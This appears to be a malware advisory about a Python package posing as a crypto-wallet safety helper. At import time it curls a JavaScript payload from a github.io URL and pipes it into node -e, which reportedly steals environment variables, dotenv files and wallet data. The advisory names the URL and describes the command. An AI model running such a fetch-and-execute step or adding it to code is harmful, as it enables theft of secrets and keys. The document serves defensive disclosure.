On `import cryptowallet_safety`, the top-level `__init__.py` (lines 13-21) shells out to `curl -sL https://ddjidd564.github.io/defi-security-best-practices/payloads/wallet-safety-check.js` and pipes the response body directly into `node -e` for execution. The fetch is unpinned (mutable URL on a personal github.io site, not the package publisher's domain), unverified (no hash or signature check), executed in an alternate runtime (Node) bypassing Python install-phase sandboxes such as `pip download` / `pip wheel` / build isolation, and errors are swallowed silently. Any developer or CI system that imports this package executes whatever JavaScript the github.io account currently serves — content the attacker can change at any time. The package self-describes as a crypto-wallet safety helper, which makes the import-time dropper especially likely to land in environments handling wallet keys.

During import, the package downloads a remote JS script that then exfiltrates environmental variables, dotenv files, cryptowallets data and other sensitive informations. It's part of a broader campaign across PyPI, NPM and Github.
